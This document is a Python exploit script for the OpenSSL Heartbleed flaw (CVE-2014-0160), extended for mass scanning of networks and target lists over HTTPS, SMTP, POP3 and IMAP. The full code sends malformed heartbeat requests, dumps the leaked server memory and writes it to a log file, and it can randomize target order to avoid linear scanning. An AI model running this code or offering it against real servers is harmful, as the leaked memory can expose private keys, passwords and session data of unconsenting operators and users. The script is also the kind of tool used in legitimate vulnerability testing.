This python script checks for the OpenSSL memory leak named Heartbleed and as noted in CVE-2014-0160. It can be used for different SSL TLS versions and multiple (HTTPS/SMTP/IMAP/POP3) protocols. It is optimized for mass scans.
89791cf81b92b962ceaf4da83a28781f5cf9ed884168321574cab9f157657409
#!/usr/bin/env python
# I've added some features to the original work of Jared Stafford.
#
# -t parameter to optimize the timeout in seconds.
# -f parameter to log the memleak of vulnerable systems.
# -n parameter to scan entire network.
# -i parameter to scan from a list file. Useful if you already have targets.
# -r parameter to randomize the IP addresses to avoid linear scanning.
# -s parameter to exploit services that requires plaintext command to start SSL/TLS (HTTPS/SMTP/POP3/IMAP)
#
# Added socket error handler which causes the original version to exit in cases.
#
# hybridus (hybridus@gmail.com)
# CVE-2014-0160
import sys
import struct
import socket
import time
import select
import re
import errno
import Queue
import threading
import pprint
from optparse import OptionParser
from netaddr import *
from socket import error as socket_error
from random import shuffle
options = OptionParser(usage='%prog network(cidr) [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-t', '--timeout',type='int', default=5, help='Socket timeout setting in seconds (default: 5)')
options.add_option('-f', '--file',type='string', default='', help='Write leaked memory to file (default: none)')
options.add_option('-n', '--network',type='string', default='', help='Network you want to scan in CDIR (192.168.1.0/24)')
options.add_option('-i', '--input', type='string', default='', help='Get the target IP addresses from a list file')
options.add_option('-r', '--random', action='store_true', dest='random', default='True', help='Randomize the IP addresses to scan (default: false)')
options.add_option('-s', '--service', type='string', default='HTTPS', help='For some services commands are required to start SSL/TLS session. (HTTPS/SMTP/POP/IMAP)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
version = []
version.append(['SSL 3.0','03 00'])
version.append(['TLS 1.0','03 01'])
version.append(['TLS 1.1','03 02'])
version.append(['TLS 1.2','03 03'])
def create_hello(version):
hello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + ''' 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
return hello
def create_hb(version):
hb = h2bin('18 ' + version + ' 00 03 01 40 00')
return hb
def hexdump(s,logfilename, target_ip):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
if logfilename != '':
try :
with open(logfilename,'a') as logfile:
logfile.write(target_ip + '\t' + pdat + '\n')
except IOError:
print 'Error writing dumps from ' + target_ip + ' to file. Setting file option NULL and resuming scan.'
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s,target_ip):
hdr = recvall(s, 5)
if hdr is None:
print '[ ' + str(target_ip) + ' ] Unexpected EOF receiving record header - Host closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print '[ ' + str(target_ip) + ' ] Unexpected EOF receiving record payload - Host closed connection'
return None, None, None
print '[ ' + str(target_ip) + ' ] <3 Received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s,hb,target_ip,logfilename):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s,target_ip)
if typ is None:
print '[ ' + str(target_ip) + ' ] No heartbeat response received, server likely not vulnerable'
return False
if typ == 24:
print '[ ' + str(target_ip) + ' ] <3 Received heartbeat response:'
hexdump(pay, logfilename, target_ip)
if len(pay) > 3:
beep()
print '[ ' + str(target_ip) + ' ] WARNING: server returned more data than it should - server is vulnerable!'
else:
print '[ ' + str(target_ip) + ' ] Server processed malformed heartbeat, but did not return any extra data.'
return True
if typ == 21:
print 'Received alert:'
hexdump(pay, logfilename, target_ip)
print '[ ' + str(target_ip) + ' ] Server returned error, likely not vulnerable'
return False
def beep():
print "\a"
def main():
opts, args = options.parse_args()
if (len(args) < 1) and (opts.input == '') and (opts.network == '') :
options.print_help()
return
if (opts.input != ''):
with open(opts.input,'r') as inputfile:
targetlist=inputfile.read().splitlines()
print "Starting to scan hosts from " + opts.input + ", " + str(len(targetlist)) + " host(s) in total."
elif (opts.network != ''):
targetlist = IPNetwork(opts.network)
print "Starting to scan network " + str(targetlist.network) + " netmask " + str(targetlist.netmask) + ", " + str(targetlist.size) + " host(s) in total."
targetlist = list(targetlist)
elif (args[0]):
targetlist = []
targetlist.append(args[0])
if (opts.service == '' or opts.service == 'HTTPS'):
command1 = ''
command2 = ''
elif (opts.service == 'SMTP'):
command1 = 'EHLO domain.net\n'
command2 = 'STARTTLS\n'
elif (opts.service == 'POP3'):
command1 = 'CAPA\n'
command2 = 'STLS\n'
elif (opts.service == 'IMAP'):
command1 = 'a001 CAPB\n'
command2 = 'a002 STARTTLS\n'
else:
print 'Unknown service definiton'
return
totalhosts = len(targetlist)
logfilename = opts.file
target_ip = ''
ip_count = 0
if (opts.random == True):
shuffle(targetlist)
for x in range(int(len(targetlist))):
target_ip = targetlist[x]
ip_count += 1
for i in range(len(version)):
try:
print '[ Scanning '+str(ip_count)+'/'+str(totalhosts)+' ]'
print '[ ' + str(target_ip) + ' ] Trying ' + version[i][0] + '...'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(float(opts.timeout))
print '[ ' + str(target_ip) + ' ] Connecting...'
sys.stdout.flush()
s.connect((str(target_ip), opts.port))
if (command1 != '' and command2 != ''):
print '[ ' + str(target_ip) + ' ] Sending command to switch ' + opts.service + ' protocol over SSL/TLS and waiting for 1 second to be sure'
s.send(command1)
s.send(command2)
time.sleep(1)
print '[ ' + str(target_ip) + ' ] Sending Client Hello...'
sys.stdout.flush()
s.send(create_hello(version[i][1]))
print '[ ' + str(target_ip) + ' ] Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s,target_ip)
if typ == None:
print '[ ' + str(target_ip) + ' ] Server closed connection without sending Server Hello.'
break
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print '[ ' + str(target_ip) + ' ] Sending heartbeat request...'
sys.stdout.flush()
s.send(create_hb(version[i][1]))
if hit_hb(s,create_hb(version[i][1]),str(target_ip),logfilename):
#Stop if vulnerable
break
except socket_error as serr:
#e = sys.exc_info()[0]
#print e
if serr.errno == errno.ECONNREFUSED:
print '[ ' + str(target_ip) + ' ] Refused connection.'
if serr.errno == errno.EHOSTDOWN:
print '[ ' + str(target_ip) + ' ] Host down.'
if serr.errno == errno.ETIMEDOUT:
print '[ ' + str(target_ip) + ' ] Connection timed out.'
if serr.errno == errno.ECONNRESET:
print '[ ' + str(target_ip) + ' ] Connection reset by peer.'
if serr.errno == errno.EPIPE:
print '[ ' + str(target_ip) + ' ] Pipe error.'
if __name__ == '__main__':
main()